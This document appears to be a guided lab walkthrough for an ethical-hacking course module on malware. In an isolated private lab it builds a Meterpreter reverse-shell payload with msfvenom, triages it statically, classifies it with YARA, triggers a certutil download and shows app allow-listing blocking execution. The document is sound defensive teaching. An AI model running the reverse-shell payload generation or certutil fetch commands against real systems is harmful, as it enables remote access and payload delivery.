Module 07 — Malware Threats · Guided Lab Walkthrough

A step-by-step, do-it-in-order lab against your own environment only (the isolated lab in ../../labs/ — see ../../labs/topology.md). Never detonate real malware. Everything here uses benign payloads you build yourself, static triage, and detection demos. Outputs shown are representative — yours will differ.

Goal: build a benign backdoor for your lab target, triage it without running it, classify it with YARA, then watch a LOLBin light up detection and a PAM control break the chain.

Targets: Kali 192.168.56.10 · Metasploitable2 192.168.56.20 · Windows DC 192.168.56.30 (ceh.lab) · Windows member 192.168.56.31 (ws01).

Prereqs: lab is up (labs/scripts/setup.sh), Kali has msfvenom, python3-pefile, and yara installed, and the Windows lab VM is snapshotted so you can revert.

---

Part A — Build a benign payload and triage it statically (never run it here)

A1. Generate a benign backdoor for YOUR lab target

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f exe -o payload.exe

You should see msfvenom report the payload size and write the file:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: payload.exe

Observe: this is a dropper-style artifact you control — it exists only to be analyzed. It is meant for your Windows lab VM, never your host and never a third party.

Hint if msfvenom errors

Update the framework (`sudo apt update && sudo apt install metasploit-framework`). Confirm the format with `msfvenom --list formats | grep exe`. Keep `LHOST` set to your Kali lab IP (`192.168.56.10`), not a public address.

Defender/PAM view: app allow-listing (attack-to-control-matrix.md) would block an unsigned exe like this from ever executing — the control we prove in Part C.

A2. Hash it and look up reputation (submit the hash, not the file)

sha256sum payload.exe
file payload.exe

You should see a hash and a PE type:

9f2b...c4a1  payload.exe
payload.exe: PE32+ executable (GUI) x86-64, for MS Windows

Observe: the SHA-256 is the shareable IoC — you submit the hash to VirusTotal, never upload a live sample you don't own the rights to distribute.

Hint

On VirusTotal use the "Search" box with the hash, not "Upload." A freshly built msfvenom exe may show high detection precisely because AV signatures know the stager.

Defender/PAM view: hash reputation is a signature control — useful, but blind to fileless and freshly mutated samples. See detection-engineering.md.

A3. Pull strings and PE imports (still no execution)

strings -n 8 payload.exe | grep -Ei 'http|\.dll|ws2_32|kernel32|LoadLibrary' | head
python3 -c "import pefile,sys;pe=pefile.PE(sys.argv[1]);print([e.dll.decode() for e in pe.DIRECTORY_ENTRY_IMPORT])" payload.exe

You should see network/loader indicators and imported DLLs:

KERNEL32.dll
ws2_32.dll
LoadLibraryA
[b'kernel32.dll', b'ws2_32.dll']

Observe: ws2_32.dll (sockets) + LoadLibrary hints at network + dynamic loading — the static tells of a network backdoor, gathered without running it.

Hint if pefile is missing

`pip3 install pefile` or `sudo apt install python3-pefile`. If imports look sparse, the stager is small by design; the `ws2_32` import is the key network indicator.

Defender/PAM view: static triage = static analysis (don't run it). The dynamic counterpart (detonation) belongs in an isolated sandbox — see the safety rules in README.md.

---

Part B — Classify with YARA (pattern matching, still safe)

B1. Write a tiny YARA rule and scan

cat > lab.yar <<'EOF'
rule lab_meterpreter_stager {
  meta:
    author = "lab"
    description = "Benign lab payload — imports ws2_32 (sockets)"
  strings:
    $ws2 = "ws2_32" nocase
    $k32 = "KERNEL32" nocase
  condition:
    all of them
}
EOF
yara lab.yar payload.exe

You should see a match on your file:

lab_meterpreter_stager payload.exe

Observe: YARA classifies by patterns, not by executing anything — this is how analysts triage families at scale from static features alone.

Hint if YARA prints nothing

No output = no match. Loosen the condition to `any of them` to confirm the strings exist, then tighten. Check the rule compiled cleanly (`yara lab.yar payload.exe` returns no syntax error).

Defender/PAM view: YARA rules are the shareable form of a signature — strong for known families, weak against metamorphic/fileless code that leaves no consistent pattern.

---

Part C — Detection & the control that breaks the chain

C1. Trigger a LOLBin download (log it, don't fear it)

On the Windows lab VM, run the classic certutil living-off-the-land download:

certutil.exe -urlcache -split -f http://192.168.56.10/x.txt out.txt

You should see certutil fetch the file, and — more importantly — an EDR/Sysmon record of a signed binary acting as a downloader:

****  Online  ****
CertUtil: -URLCache command completed successfully.

Sysmon EventID 1: Image=certutil.exe  CommandLine=certutil -urlcache -split -f http://192.168.56.10/x.txt

Observe: nothing "malicious" was written by malware — a trusted, signed binary did the fetch. Signature AV shrugs; the behavior is the indicator.

Hint if there's no file to fetch

Serve one from Kali first: `python3 -m http.server 80` in a folder containing `x.txt`. Enable command-line logging (Sysmon config or Windows audit 4688 with process command line) so the certutil line is captured.

Defender/PAM view: detection here is behavioral — encoded PowerShell (4104), rare parent-child, and LOLBin downloads. See detection-engineering.md.

C2. Apply application control, then re-run the payload

Enable an allow-list rule (WDAC/AppLocker) that blocks unsigned exes from %TEMP%, drop payload.exe there on the lab VM, and try to launch it:

copy payload.exe %TEMP%\payload.exe
%TEMP%\payload.exe

You should see the launch blocked by policy instead of a callback:

This program is blocked by group policy. (AppLocker / WDAC)
Event 8004: %TEMP%\payload.exe was prevented from running.

You just demonstrated the control. The dropper still exists on disk, but default-deny app control stops the execute step the whole malware chain depends on.

Hint if it still runs

The host isn't enforcing yet — confirm AppLocker is in **Enforce** (not Audit) mode and the Application Identity service is running, or that WDAC policy is deployed. Re-run to see Event **8004** (blocked).

Defender/PAM view: removing standing local admin + default-deny app control (EPM/WDAC/AppLocker) is the single biggest anti-malware lever — see the CyberArk mapping.

---

What you should conclude

Signature tools care about the file; the durable defenses care about the action:

You did	What stops / detects it
Built + hashed payload.exe	Hash reputation (signature) — blind to fileless/new samples
Static triage (strings, imports)	Analysis without execution — safe, no callback
YARA classification	Pattern signature — weak vs metamorphic/fileless
certutil LOLBin download	Behavioral EDR/Sysmon logging (not signatures)
Ran the payload from %TEMP%	App allow-listing + no standing local admin breaks execute/persist

Cleanup

rm -f payload.exe lab.yar out.txt
# on the Windows lab VM: delete %TEMP%\payload.exe and revert to your clean snapshot

Record it

Log commands, outputs, and what surprised you in the My lab log table at the bottom of README.md, and note any misses in PROGRESS.md.